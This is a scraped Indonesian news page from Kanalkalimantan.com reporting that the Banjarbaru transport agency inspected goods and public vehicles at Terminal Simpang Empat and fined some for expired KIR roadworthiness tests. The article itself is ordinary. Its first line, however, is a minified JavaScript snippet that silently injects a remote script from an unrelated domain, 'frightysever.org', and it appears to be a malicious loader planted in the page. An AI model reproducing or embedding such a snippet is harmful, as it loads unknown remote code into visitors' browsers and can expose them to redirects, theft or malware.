(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Angkutan Barang dan Umum Terjaring di Terminal Simpang Empat Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan pengecekan armada barang dan angkutan umum di Terminal Simpang Empat Banjarbaru, Kalimantan Selatan (Kalsel), Kamis (20/6/2024) sore.

Pemeriksaan laik jalan angkutan umum tersebut menitikberatkan pada pemeriksaan kelayakan uji kendaraan, salah satunya terkait kelengkapan surat kendaraan.

Kabid Lalu Lintas dan Angkutan Jalan (LLAJ) Dishub Banjarbaru, Adi Royan menjelaskan, tujuan utama pemeriksaan adalah agar angkutan barang dan angkutan umum layak untuk digunakan di jalan raya.

Baca juga: Mulai Besok, Polda Kalsel Resmi Bermarkas di Kota Banjarbaru

Kabid Lalu Lintas dan Angkutan Jalan Dishub Banjarbaru, Adi Royan. Foto: wanda

“Dan ternyata masih ada kita temukan beberapa pelanggaran terutama untuk uji KIR-nya,” ujar Adi Royan, Kamis (20/6/2024) sore.

Dalam pemeriksaan, beberapa kendaraan angkutan ditemukan masih tidak melengkapi KIR atau KIR-nya sudah tidak berlaku lagi.

“Oleh sebab itu kami lakukan penilangan karena beberapa KIR-nya sudah tidak berlaku lagi,” sambung dia.

Baca juga: Dua Bangunan di Liang Anggang Diratakan, Berdiri Tanpa PBG

Dirinya menegaskan kepada pemilik angkutan barang dan umum memproses uji KIR sesuai aturan yang ditetapkan di Unit Pengujian Kendaraan Bermotor di Kota Banjarbaru.

“Karena berdasarkan Undang-Undang Nomor 1 Tahun 2022 bahwa uji KIR dapat dilakukan secara gratis, tidak ada lagi retribusi yang menjadi kewajiban para pemilik kendaraan,” ucapnya.

Baca juga: Babinsa dan Bhabinkamtibmas Diberi Wewenang Tutup Layanan Transaksi Top Up Game Online

Kegiatan seperti ini, sambungnya akan terus rutin dilakukan sehingga keselamatan penumpang dalam menggunakan angkutan umum dapat terjaga.

“Tentu akan terus kami rutinkan tujuan utamanya adalah agar kendaraan umum atau kendaraan barang layak untuk digunakan di jalan raya,” tuntas Adi. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

DPKP Kabupaten Banjar Laksanakan Forum Perangkat Daerah

KANALKALIMANTAN.COM, MARTAPURA – Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) Kabupaten Banjar menggelar Forum Perangkat Daerah… Read More

10 jam ago

Hj Siti Saniah Ditetapkan sebagai Ibunda Guru Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Ketua Tim Penggerak PKK Kabupaten Kapuas Hj Siti Saniah secara resmi… Read More

12 jam ago

Insentif 391 Guru Honorer di HSU Telat Dibayar, Begini Penjelasan Plt Kabag Prokopim

KANALKALIMANTAN.COM, AMUNTAI - Pelaksana Tugas (Plt) Kepala Bagian Protokol dan Komunikasi Pimpinan (Prokopim) Setda Kabupaten… Read More

12 jam ago

Konferensi Kabupaten PGRI Kapuas Masa Bakti XXIII, Ini Pesan Bupati Wiyatno

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno membuka Konferensi Kabupaten Persatuan Guru Republik… Read More

13 jam ago

Wabup Banjar Hadiri Musrenbang RKPD Provinsi Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Bupati Banjar Habib Idrus Al Habsyi mengikuti Musyawarah Perencanaan Pembangunan (Musrenbang)… Read More

13 jam ago

Ikuti Rapat Paripurna, Wabup Banjar Bacakan 2 Raperda

KANALKALIMANTAN.COM, MARTAPURA - Rapat paripurna dengan agenda Penyampaian Bupati atas Raperda tentang Penyelenggaraan Perhubungan dan… Read More

14 jam ago